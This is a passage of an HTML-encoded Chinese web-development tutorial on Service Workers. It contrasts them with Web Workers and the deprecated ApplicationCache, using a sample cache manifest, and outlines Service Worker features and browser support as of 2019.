&#x7684;&#x7ED3;&#x679C;&#x53CD;&#x9988;&#xFF0C;&#x4ECE;&#x800C;&#x91CA;&#x653E;&#x4E86;&#x4E3B;&#x7EBF;&#x7A0B;&#x7684;&#x6027;&#x80FD;&#x538B;&#x529B;&#x3002;</p>\n<p>&#x4EE3;&#x7801;&#x6267;&#x884C;&#x6027;&#x80FD;&#x95EE;&#x9898;&#x597D;&#x50CF;&#x662F;&#x89E3;&#x51B3;&#x4E86;&#xFF0C;&#x4F46; Web Worker &#x662F;&#x4E34;&#x65F6;&#x5B58;&#x5728;&#x7684;&#xFF0C;&#x6BCF;&#x6B21;&#x505A;&#x7684;&#x4E8B;&#x60C5;&#x7684;&#x7ED3;&#x679C;&#x4E0D;&#x80FD;&#x88AB;&#x6301;&#x4E45;&#x5B58;&#x4E0B;&#x6765;&#xFF0C;&#x5982;&#x679C;&#x4E0B;&#x6B21;&#x8BBF;&#x95EE; Web App &#x540C;&#x6837;&#x7684;&#x590D;&#x6742;&#x5DE5;&#x4F5C;&#x8FD8;&#x662F;&#x9700;&#x8981;&#x88AB; Web Worker &#x91CD;&#x65B0;&#x5904;&#x7406;&#x4E00;&#x904D;&#xFF0C;&#x8FD9;&#x540C;&#x6837;&#x662F;&#x4E00;&#x4EF6;&#x6D88;&#x8017;&#x8D44;&#x6E90;&#x7684;&#x4E8B;&#x60C5;&#xFF0C;&#x53EA;&#x4E0D;&#x8FC7;&#x4E0D;&#x662F;&#x5728;&#x4E3B;&#x7EBF;&#x7A0B;&#x6D88;&#x8017;&#x7F62;&#x4E86;&#x3002;&#x90A3;&#x80FD;&#x4E0D;&#x80FD;&#x6709;&#x4E00;&#x4E2A; Worker &#x7EBF;&#x7A0B;&#x662F;&#x4E00;&#x76F4;&#x662F;&#x53EF;&#x4EE5;&#x6301;&#x4E45;&#x5B58;&#x5728;&#x7684;&#xFF0C;&#x5E76;&#x4E14;&#x968F;&#x65F6;&#x51C6;&#x5907;&#x63A5;&#x53D7;&#x4E3B;&#x7EBF;&#x7A0B;&#x7684;&#x547D;&#x4EE4;&#x5462;&#xFF1F;&#x57FA;&#x4E8E;&#x8FD9;&#x6837;&#x7684;&#x9700;&#x6C42; W3C &#x63A8;&#x51FA;&#x4E86;&#x6700;&#x521D;&#x7248;&#x672C;&#x7684; Service Worker&#xFF0C;Service Worker &#x5728; Web Worker &#x7684;&#x57FA;&#x7840;&#x4E0A;&#x52A0;&#x4E0A;&#x4E86;&#x6301;&#x4E45;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x80FD;&#x529B;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x81EA;&#x8EAB;&#x7684;<strong>&#x751F;&#x547D;&#x5468;&#x671F;</strong>&#x7279;&#x6027;&#x4FDD;&#x8BC1;&#x590D;&#x6742;&#x7684;&#x5DE5;&#x4F5C;&#x53EA;&#x5904;&#x7406;&#x4E00;&#x6B21;&#xFF0C;&#x5E76;&#x6301;&#x4E45;&#x7F13;&#x5B58;&#x5904;&#x7406;&#x7ED3;&#x679C;&#xFF0C;&#x76F4;&#x5230;&#x4FEE;&#x6539;&#x4E86; Service Worker &#x7684;&#x5185;&#x5728;&#x7684;&#x5904;&#x7406;&#x903B;&#x8F91;&#x3002;</p>\n<p>&#x800C;&#x53E6;&#x4E00;&#x65B9;&#x9762;&#xFF0C;&#x4E3A;&#x4E86;&#x89E3;&#x51B3; Web &#x7F51;&#x7EDC;&#x8FDE;&#x63A5;&#x4E0D;&#x7A33;&#x5B9A;&#x7684;&#x95EE;&#x9898;&#xFF0C;W3C &#x5728;&#x5F88;&#x65E9;&#x7684;&#x65F6;&#x5019;&#x63D0;&#x51FA;&#x4E86; ApplicationCache &#x673A;&#x5236;&#x6765;&#x89E3;&#x51B3;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x505A;&#x6CD5;&#x662F;&#x5728; HTML &#x9875;&#x9762;&#x4E2D;&#x53EF;&#x4EE5;&#x6307;&#x5B9A;&#x4E00;&#x4E2A;&#x6E05;&#x5355;&#x6587;&#x4EF6; <code>manifest.appcache</code>&#xFF0C;&#x6E05;&#x5355;&#x4E2D;&#x6307;&#x5B9A;&#x9700;&#x8981;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#xFF0C;ApplicationCache &#x80FD;&#x591F;&#x89E3;&#x51B3;&#x79BB;&#x7EBF;&#x53EF;&#x8BBF;&#x95EE;&#x7684;&#x95EE;&#x9898;&#x3002;&#x5047;&#x8BBE;&#x5DF2;&#x7ECF;&#x5B58;&#x5728;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x9879;&#x76EE; applicationCacheDemo&#xFF0C;&#x9879;&#x76EE;&#x76EE;&#x5F55;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token keyword\">.</span>\n&#x2514;&#x2500;&#x2500; applicationCacheDemo/\n    &#x251C;&#x2500;&#x2500; index.html\n    &#x2514;&#x2500;&#x2500; manifest.appcache\n</code></pre>\n<p>&#x4E0B;&#x9762;&#x662F;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684; <code>manifest.appcache</code> &#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x5185;&#x5BB9;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\">CACHE MANIFEST\n<span class=\"token comment\"># version xx.xx.xx</span>\nCACHE:\ncached.png\ncached.js\n\nNETWORK:\nnoCached.html\nnoCached.css\n\nFALLBACK:\n/ 404.html\n</code></pre>\n<p><code>CACHE</code> &#x5B57;&#x6BB5;&#x914D;&#x7F6E;&#x4E86;&#x9700;&#x8981;&#x5F53;&#x524D;&#x9875;&#x9762;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#xFF0C;<code>NETWORK</code> &#x5B57;&#x6BB5;&#x914D;&#x7F6E;&#x4E86;&#x5F53;&#x524D;&#x9875;&#x9762;&#x4E0D;&#x9700;&#x8981;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#xFF0C;<code>FALLBACK</code> &#x5B57;&#x6BB5;&#x6307;&#x5B9A;&#x4E86;&#x4E00;&#x4E2A;&#x540E;&#x5907;&#x9875;&#x9762;&#xFF0C;&#x5F53;&#x8D44;&#x6E90;&#x65E0;&#x6CD5;&#x8BBF;&#x95EE;&#x65F6;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x4F7F;&#x7528;&#x8BE5;&#x9875;&#x9762;&#x3002;&#x8BE5;&#x6BB5;&#x843D;&#x7684;&#x6BCF;&#x6761;&#x8BB0;&#x5F55;&#x90FD;&#x5217;&#x51FA;&#x4E24;&#x4E2A; URI&#xFF0C;&#x7B2C;&#x4E00;&#x4E2A;&#x8868;&#x793A;&#x8D44;&#x6E90;&#xFF0C;&#x7B2C;&#x4E8C;&#x4E2A;&#x8868;&#x793A;&#x540E;&#x5907;&#x9875;&#x9762;&#x3002;&#x4E24;&#x4E2A; URI &#x90FD;&#x5FC5;&#x987B;&#x4F7F;&#x7528;&#x76F8;&#x5BF9;&#x8DEF;&#x5F84;&#x5E76;&#x4E14;&#x4E0E;&#x6E05;&#x5355;&#x6587;&#x4EF6;&#x540C;&#x6E90;&#x3002;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x901A;&#x914D;&#x7B26;&#x3002;&#x6709;&#x4E86; <code>manifest.appcache</code> &#x6587;&#x4EF6;&#x4E4B;&#x540E;&#xFF0C;&#x53EF;&#x4EE5;&#x5728; <code>index.html</code> &#x7684; HTML &#x6587;&#x4EF6;&#x4E2D;&#x7684; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x8FDB;&#x884C;&#x5F15;&#x5165;&#x4ECE;&#x800C;&#x6307;&#x5B9A;&#x5F53;&#x524D;&#x9875;&#x9762;&#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7684;&#x60C5;&#x51B5;&#xFF0C;&#x5982;&#x4E0B;&#x9762;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span> <span class=\"token attr-name\">manifest</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>./manifest.appcache<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token comment\">&lt;!--...--&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x867D;&#x7136;&#x901A;&#x8FC7; ApplicationCache &#x673A;&#x5236;&#x80FD;&#x591F;&#x89E3;&#x51B3; Web App &#x7684;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x4F46;&#x662F;&#x540C;&#x65F6;&#x4E5F;&#x5E26;&#x6765;&#x4E86;&#x4E0D;&#x5C0F;&#x7684;&#x95EE;&#x9898;&#xFF1A;</p>\n<ul>\n<li><p>&#x5728; manifest.appcache &#x6587;&#x4EF6;&#x4E2D;&#x5B9A;&#x4E49;&#x7684;&#x8D44;&#x6E90;&#x5168;&#x90E8;&#x88AB;&#x6210;&#x529F;&#x52A0;&#x8F7D;&#x540E;&#xFF0C;&#x8FD9;&#x4E9B;&#x8D44;&#x6E90;&#x6587;&#x4EF6;&#x8FDE;&#x540C;&#x5F15;&#x7528; manifest.appcahe &#x6587;&#x4EF6;&#x7684; HTML &#x6587;&#x6863;&#x4E00;&#x5E76;&#x88AB;&#x79FB;&#x52A8;&#x5230;&#x6C38;&#x4E45;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x4E2D;&#x3002;&#x6240;&#x4EE5;&#x5982;&#x679C;&#x60F3;&#x53EA;&#x7F13;&#x5B58; JS&#x3001;CSS&#x3001;&#x56FE;&#x7247;&#x7B49;&#x6587;&#x4EF6;&#xFF0C;&#x800C;&#x4E0D;&#x5E0C;&#x671B;&#x7F13;&#x5B58; HTML &#x6587;&#x6863;&#x4EE5;&#x4FDD;&#x6301;&#x83B7;&#x5F97;&#x6700;&#x65B0;&#x5185;&#x5BB9;&#x7684;&#x60C5;&#x51B5;&#x6765;&#x8BF4;&#xFF0C;&#x662F;&#x4E2A;&#x975E;&#x5E38;&#x5927;&#x7684;&#x95EE;&#x9898;&#x3002;</p>\n</li>\n<li><p>&#x6839;&#x636E; ApplicationCache &#x7684;&#x52A0;&#x8F7D;&#x673A;&#x5236;&#xFF0C;&#x5982;&#x679C;&#x4EC5;&#x4EC5;&#x4FEE;&#x6539;&#x88AB;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x6587;&#x4EF6;&#x7684;&#x5185;&#x5BB9;&#xFF08;&#x6CA1;&#x6709;&#x4FEE;&#x6539;&#x8D44;&#x6E90;&#x6587;&#x4EF6;&#x7684;&#x8DEF;&#x5F84;&#x6216;&#x540D;&#x79F0;&#xFF09;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5C06;&#x76F4;&#x63A5;&#x4ECE;&#x672C;&#x5730;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x4E2D;&#x83B7;&#x53D6;&#x8D44;&#x6E90;&#x6587;&#x4EF6;&#x3002;&#x6240;&#x4EE5;&#x5728;&#x6BCF;&#x6B21;&#x4FEE;&#x6539;&#x8D44;&#x6E90;&#x6587;&#x4EF6;&#x7684;&#x540C;&#x65F6;&#xFF0C;&#x9700;&#x8981;&#x4FEE;&#x6539; manifest.appcache &#x6587;&#x4EF6;&#xFF0C;&#x4EE5;&#x89E6;&#x53D1;&#x8D44;&#x6E90;&#x6587;&#x4EF6;&#x7684;&#x91CD;&#x65B0;&#x52A0;&#x8F7D;&#x548C;&#x7F13;&#x5B58;&#xFF0C;&#x7EF4;&#x62A4;&#x6210;&#x672C;&#x592A;&#x9AD8;&#x3002;</p>\n</li>\n<li><p>&#x9760;&#x4E00;&#x4E2A; manifest.appcache &#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x6765;&#x7EF4;&#x62A4;&#x4E00;&#x4E2A;&#x590D;&#x6742;&#x7684;&#x7AD9;&#x70B9;&#x7684;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x5B9E;&#x5728;&#x662F;&#x4E00;&#x4EF6;&#x975E;&#x5E38;&#x8270;&#x96BE;&#x7684;&#x5DE5;&#x4F5C;&#xFF0C;&#x6BD5;&#x7ADF;&#x5355;&#x7EAF;&#x9760;&#x914D;&#x7F6E;&#x662F;&#x975E;&#x5E38;&#x4E0D;&#x7075;&#x6D3B;&#x7684;&#x3002;</p>\n</li>\n<li><p>&#x5BF9;&#x52A8;&#x6001;&#x8BF7;&#x6C42;&#x65E0;&#x6CD5;&#x5904;&#x7406;&#x3002;</p>\n</li>\n</ul>\n<p>&#x901A;&#x8FC7;&#x4E00;&#x6BB5;&#x65F6;&#x95F4;&#x7684;&#x5B9E;&#x8DF5;&#x540E;&#xFF0C;W3C &#x51B3;&#x5B9A;&#x5E9F;&#x5F03; ApplicationCache&#xFF0C;&#x867D;&#x7136;&#x5176;&#x4ECD;&#x7136;&#x4FDD;&#x7559;&#x5728; HTML 5.0 Recommendation &#x4E2D;&#xFF0C;&#x4F46;&#x4F1A;&#x5728; HTML &#x540E;&#x7EED;&#x7248;&#x672C;&#x4E2D;&#x79FB;&#x9664;&#x3002;&#x4E00;&#x4E9B;&#x4E3B;&#x6D41;&#x6D4F;&#x89C8;&#x5668;&#x751A;&#x81F3;&#x5DF2;&#x7ECF;&#x5C06; ApplicationCache &#x6807;&#x6CE8;&#x4E3A;&#x4E0D;&#x63A8;&#x8350;&#x4F7F;&#x7528;&#xFF0C;&#x5E76;&#x5F15;&#x5BFC;&#x5F00;&#x53D1;&#x8005;&#x4F7F;&#x7528; Service Worker&#x3002;Service Worker &#x5C31;&#x5F88;&#x597D;&#x7684;&#x89E3;&#x51B3;&#x4E86; ApplicationCache &#x7684;&#x75DB;&#x70B9;&#x95EE;&#x9898;&#xFF0C;&#x5B83;&#x80FD;&#x591F;&#x901A;&#x8FC7;&#x975E;&#x5E38;&#x591A;&#x7684;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x6765;&#x7075;&#x6D3B;&#x7684;&#x7BA1;&#x7406; Web App &#x7684;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#xFF0C;&#x5927;&#x5927;&#x964D;&#x4F4E;&#x7EF4;&#x62A4;&#x6210;&#x672C;&#xFF08;&#x6211;&#x4EEC;&#x4F1A;&#x5728;&#x540E;&#x9762;&#x7AE0;&#x8282;&#x8BE6;&#x7EC6;&#x7684;&#x8BB2;&#x89E3;&#x8FD9;&#x90E8;&#x5206;&#x7684;&#x5185;&#x5BB9;&#xFF09;&#x3002;</p>\n<p>&#x57FA;&#x4E8E; Woker &#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x7684;&#x79BB;&#x7EBF;&#x80FD;&#x529B;&#x548C;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x673A;&#x5236;&#x7684;&#x53CC;&#x91CD;&#x8FEB;&#x5207;&#x9700;&#x6C42;&#xFF0C;&#x901A;&#x8FC7;&#x4E0D;&#x65AD;&#x7684;&#x5B9E;&#x8DF5;&#x548C;&#x53D1;&#x5C55;&#xFF0C;W3C &#x6700;&#x7EC8;&#x63D0;&#x51FA;&#x7684; Service Worker API &#x53EF;&#x4EE5;&#x4EE5;&#x72EC;&#x7ACB;&#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x7684;&#x65B9;&#x5F0F;&#x8FD0;&#x884C;&#xFF0C;&#x7ED3;&#x5408;&#x6301;&#x4E45;&#x7F13;&#x5B58;&#x8C03;&#x5EA6;&#x7B56;&#x7565;&#xFF0C;&#x80FD;&#x591F;&#x5F88;&#x597D;&#x7684;&#x89E3;&#x51B3;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x95EE;&#x9898;&#x3002;&#x5E76;&#x4E14;&#x53EF;&#x4EE5;&#x4EE5;&#x975E;&#x4FB5;&#x5165;&#x7684;&#x65B9;&#x5F0F;&#x4E0E;&#x73B0;&#x5B58;&#x7684; Web App &#x7ED3;&#x5408;&#x4F7F;&#x7528;&#xFF0C;&#x4ECE;&#x53EF;&#x4EE5;&#x5B9E;&#x73B0; PWA &#x6E10;&#x8FDB;&#x5F0F;&#x7684;&#x79BB;&#x7EBF;&#x4E0E;&#x7F13;&#x5B58;&#x7684;&#x6548;&#x679C;&#x3002;</p>\n<h2 id=\"service-worker-&#x7684;&#x7279;&#x70B9;\"><a name=\"service-worker-&#x7684;&#x7279;&#x70B9;\" class=\"anchor-navigation-ex-anchor\" href=\"#service-worker-&#x7684;&#x7279;&#x70B9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"service-worker-&#x7684;&#x7279;&#x70B9;\" class=\"plugin-anchor\" href=\"#service-worker-&#x7684;&#x7279;&#x70B9;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Service Worker &#x7684;&#x7279;&#x70B9;</h2>\n<p>Service Worker &#x529F;&#x80FD;&#x867D;&#x7136;&#x5F3A;&#x5927;&#xFF0C;&#x4F46;&#x662F;&#x4F7F;&#x7528; Service Worker &#x8FD8;&#x662F;&#x6709;&#x4E00;&#x5B9A;&#x7684;&#x6761;&#x4EF6;&#x4EE5;&#x53CA;&#x4E00;&#x4E9B;&#x4E13;&#x6709;&#x7684;&#x7279;&#x70B9;&#x7684;&#x3002;</p>\n<p>&#x51FA;&#x4E8E;&#x5B89;&#x5168;&#x7684;&#x8003;&#x8651; Service Worker <strong>&#x5FC5;&#x987B;&#x8FD0;&#x884C;&#x5728; HTTPS &#x534F;&#x8BAE;&#x4E0B;</strong>&#xFF0C;Github &#x63D0;&#x4F9B;&#x7684; <a href=\"https://pages.github.com/\" target=\"_blank\">git page</a>&#x662F;&#x4E2A;&#x7528;&#x6765;&#x6D4B;&#x8BD5; Service Worker &#x7684;&#x597D;&#x5730;&#x65B9;&#xFF0C;&#x56E0;&#x4E3A;&#x5B83;&#x5C31;&#x76F4;&#x63A5;&#x5C31;&#x652F;&#x6301; HTTPS&#xFF0C;&#x76F4;&#x63A5;&#x5C31;&#x53EF;&#x4EE5;&#x6D4B;&#x8BD5;&#x9759;&#x6001;&#x9875;&#x9762;&#x548C;&#x9759;&#x6001;&#x8D44;&#x6E90;&#xFF0C;&#x4E3A;&#x4E86;&#x4FBF;&#x4E8E;&#x672C;&#x5730;&#x5F00;&#x53D1;&#xFF0C;<code>localhost</code>&#x3001;<code>127.0.0.1</code> &#x8FD9;&#x79CD;&#x975E; HTTPS &#x534F;&#x8BAE;&#x4E5F;&#x88AB;&#x6D4F;&#x89C8;&#x5668;&#x8BA4;&#x4E3A;&#x662F;&#x5B89;&#x5168;&#x6E90;&#x3002;</p>\n<p>Service Worker &#x7EBF;&#x7A0B;<strong>&#x6709;&#x81EA;&#x5DF1;&#x5B8C;&#x5168;&#x72EC;&#x7ACB;&#x7684;&#x6267;&#x884C;&#x4E0A;&#x4E0B;&#x6587;</strong>&#x3002;<strong>&#x4E00;&#x65E6;&#x88AB;&#x5B89;&#x88C5;&#x6210;&#x529F;&#x5C31;&#x6C38;&#x8FDC;&#x5B58;&#x5728;&#xFF0C;&#x9664;&#x975E;&#x7EBF;&#x7A0B;&#x88AB;&#x7A0B;&#x5E8F;&#x4E3B;&#x52A8;&#x89E3;&#x9664;</strong>&#xFF0C;&#x800C;&#x4E14; Service Worker &#x5728;&#x8BBF;&#x95EE;&#x9875;&#x9762;&#x7684;&#x65F6;&#x5019;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x88AB;&#x6FC0;&#x6D3B;&#xFF0C;&#x5982;&#x679C;&#x5173;&#x95ED;&#x6D4F;&#x89C8;&#x5668;&#x6216;&#x8005;&#x6D4F;&#x89C8;&#x5668;&#x6807;&#x7B7E;&#x7684;&#x65F6;&#x5019;&#x4F1A;&#x81EA;&#x52A8;&#x7761;&#x7720;&#xFF0C;&#x4EE5;&#x51CF;&#x5C11;&#x8D44;&#x6E90;&#x635F;&#x8017;&#x3002;</p>\n<p>Service Worker &#x662F;&#x5B8C;&#x5168;&#x5F02;&#x6B65;&#x5B9E;&#x73B0;&#x7684;&#xFF0C;&#x5185;&#x90E8;&#x7684;&#x63A5;&#x53E3;&#x7684;&#x5F02;&#x6B65;&#x5316;&#x90FD;&#x662F;&#x901A;&#x8FC7; Promise &#x5B9E;&#x73B0;&#xFF0C;&#x5E76;&#x4E14;&#x5728; Service Worker &#x4E2D;<strong>&#x4E0D;&#x80FD;&#x76F4;&#x63A5;&#x64CD;&#x4F5C; DOM</strong>&#xFF0C;&#x51FA;&#x4E8E;&#x5B89;&#x5168;&#x548C;&#x4F53;&#x9A8C;&#x7684;&#x8003;&#x8651;&#xFF0C;UI &#x7684;&#x6E32;&#x67D3;&#x5DE5;&#x4F5C;&#x5FC5;&#x987B;&#x53EA;&#x80FD;&#x5728;&#x4E3B;&#x7EBF;&#x7A0B;&#x5B8C;&#x6210;&#x3002;</p>\n<p>Service Worker <strong>&#x53EF;&#x4EE5;&#x62E6;&#x622A;&#x5E76;&#x4EE3;&#x7406;&#x8BF7;&#x6C42;&#xFF0C;&#x53EF;&#x4EE5;&#x5904;&#x7406;&#x8BF7;&#x6C42;&#x7684;&#x8FD4;&#x56DE;&#x5185;&#x5BB9;</strong>&#xFF0C;&#x53EF;&#x4EE5;&#x6301;&#x4E45;&#x5316;&#x7F13;&#x5B58;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x8FBE;&#x5230;&#x79BB;&#x7EBF;&#x8BBF;&#x95EE;&#x7684;&#x6548;&#x679C;&#xFF0C;&#x548C; ApplicationCache &#x4E0D;&#x540C;&#xFF0C;Service Worker &#x7684;&#x6240;&#x6709;&#x7684;&#x79BB;&#x7EBF;&#x5185;&#x5BB9;<strong>&#x5F00;&#x53D1;&#x8005;&#x5B8C;&#x5168;&#x53EF;&#x63A7;</strong>&#xFF0C;&#x751A;&#x81F3;&#x662F;&#x53EF;&#x4EE5;&#x63A7;&#x5236;&#x52A8;&#x6001;&#x8BF7;&#x6C42;&#xFF0C;&#x7B2C;&#x4E09;&#x65B9;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x7B49;&#x3002;</p>\n<p>&#x7531;&#x4E8E; Service Worker &#x53EF;&#x4EE5;&#x79BB;&#x7EBF;&#x5E76;&#x4E14;&#x5728;&#x540E;&#x53F0;&#x5DE5;&#x4F5C;&#xFF0C;&#x6240;&#x4EE5;&#x53EF;&#x4EE5;&#x8FDB;&#x884C; <strong>&#x63A8;&#x9001;&#x6D88;&#x606F;</strong>&#xFF08;&#x7B2C;&#x516D;&#x7AE0;&#x4F1A;&#x8BE6;&#x7EC6;&#x8BF4;&#x660E;&#xFF09;&#x3001;<strong>&#x540E;&#x53F0;&#x540C;&#x6B65;</strong>&#x8D44;&#x6E90;&#x7B49;&#x529F;&#x80FD;&#xFF0C;&#x5728;&#x4E0D;&#x4E45;&#x7684;&#x5C06;&#x6765;&#xFF0C;&#x5229;&#x7528; Service Worker &#x7684;&#x8FD9;&#x4E00;&#x7279;&#x6027;&#xFF0C;&#x751A;&#x81F3;&#x53EF;&#x4EE5;&#x884D;&#x751F;&#x51FA;&#x66F4;&#x591A;&#x7684; Web App &#x539F;&#x751F;&#x5316;&#x7684;&#x529F;&#x80FD;&#x3002;</p>\n<h2 id=\"&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x7A0B;&#x5EA6;\"><a name=\"&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x7A0B;&#x5EA6;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x7A0B;&#x5EA6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x7A0B;&#x5EA6;\" class=\"plugin-anchor\" href=\"#&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x7A0B;&#x5EA6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x7A0B;&#x5EA6;</h2>\n<p>&#x7531;&#x4E8E; W3C &#x6807;&#x51C6;&#x6216;&#x8349;&#x6848;&#x7684;&#x63D0;&#x51FA;&#x4E4B;&#x540E;&#x5404;&#x5927;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x5B9E;&#x73B0;&#x6B65;&#x4F10;&#x662F;&#x4E0D;&#x4E00;&#x6837;&#x7684;&#xFF0C;&#x53C2;&#x8003; <a href=\"https://caniuse.com\" target=\"_blank\">Can I Use</a> &#x622A;&#x6B62; 2019-04-02 &#x7684;&#x6570;&#x636E;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x5F53;&#x524D;&#x5404;&#x5927;&#x6D4F;&#x89C8;&#x5668;&#x5BF9; Service Worker &#x7684;&#x652F;&#x6301;&#x60C5;&#x51B5;&#x5982;&#x4E0B;&#x3002;</p>\n<p><img src=\"img/service_worker_support.png\" alt=\"caniuse.com &#x7ED9;&#x51FA;&#x7684; Service Worker &#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x60C5;&#x51B5;\"></p>\n<p>&#x4ECE;&#x4E0A;&#x56FE;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#xFF0C;Service Worker &#x7684;&#x652F;&#x6301;&#x7A0B;&#x5EA6;&#x5DF2;&#x7ECF;&#x8FBE;&#x5230; <code>89.84%</code>&#x3002;&#x5176;&#x4E2D; Chrome &#x4F5C;&#x4E3A;&#x5F00;&#x8DEF;&#x5148;&#x950B;&#x65E9;&#x65E9;&#x7684;&#x5728; V40 &#x7248;&#x672C;&#x5C31;&#x5DF2;&#x7ECF;&#x652F;&#x6301; Service Worker&#xFF0C;&#x5E76;&#x5728; Devtools &#x4E2D;&#x8FD8;&#x63D0;&#x4F9B;&#x4E86;&#x5B8C;&#x5584;&#x7684; Debug &#x65B9;&#x6848;&#xFF0C;Apple &#x65B9;&#x9762;&#x4ECE; MacOS Safari 11.1 &#x548C; iOS Safari 11.3 &#x5F00;&#x59CB;&#x5168;&#x9762;&#x652F;&#x6301;&#xFF0C;IE Edge &#x4ECE; 17 &#x7248;&#x672C;&#x5F00;&#x59CB;&#x4E5F;&#x5168;&#x9762;&#x652F;&#x6301;&#x3002;</p>\n<p>&#x76EE;&#x524D; Apple &#x548C;&#x5FAE;&#x8F6F;&#x90FD;&#x5DF2;&#x7ECF;&#x652F;&#x6301;&#x4E86; Service Worker&#xFF0C;&#x6240;&#x4EE5;&#x5BF9;&#x4E8E; &#x201C;&#x79BB;&#x7EBF;&#x53EF;&#x8BBF;&#x95EE;&#x201D; &#x8FD9;&#x6837;&#x7684; PWA &#x7279;&#x6027;&#x6765;&#x8BB2;&#xFF0C;&#x51E0;&#x4E4E;&#x53EF;&#x4EE5;&#x5728;&#x4EFB;&#x4F55;&#x7684;&#x73B0;&#x4EE3;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x88AB;&#x5B9E;&#x73B0;&#x3002;</p>\n<p>&#x66F4;&#x8BE6;&#x7EC6;&#x7684; Service Worker &#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x4FE1;&#x606F;&#xFF0C;&#x53EF;&#x4EE5;&#x5728; <a href=\"https://jakearchibald.github.io/isserviceworkerready/\" target=\"_blank\">Jake Archibald &#x7684; Is ServiceWorker Ready</a> &#x7F51;&#x7AD9;&#x4E0A;&#x67E5;&#x770B;&#x6240;&#x6709;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x652F;&#x6301;&#x60C5;&#x51B5;&#x3002;</p>\n<p>&#x7531;&#x4E8E; Service Worker &#x7684;&#x529F;&#x80FD;&#x662F;&#x6E10;&#x8FDB;&#x5F0F;&#x7684;&#xFF0C;&#x5982;&#x679C;&#x6D4F;&#x89C8;&#x5668;&#x4E0D;&#x652F;&#x6301; Service Worker&#xFF0C;&#x5728;&#x67B6;&#x6784;&#x8BBE;&#x8BA1;&#x4E0A; Web App &#x4E5F;&#x5E94;&#x8BE5;&#x80FD;&#x591F;&#x6B63;&#x5E38;&#x8FD0;&#x884C;&#xFF0C;&#x4E3A;&#x4E86;&#x9632;&#x6B62; JavaScript &#x62A5;&#x9519;&#xFF0C;&#x6240;&#x4EE5;&#x901A;&#x5E38;&#x5728;&#x6CE8;&#x518C;&#x4E4B;&#x524D;&#x9700;&#x8981;&#x8FDB;&#x884C;&#x55C5;&#x63A2;&#x5904;&#x7406;&#x3002;&#x4FEE;&#x6539; serviceWorkerDemo &#x7684; <code>index.html</code> &#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!DOCTYPE html&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span 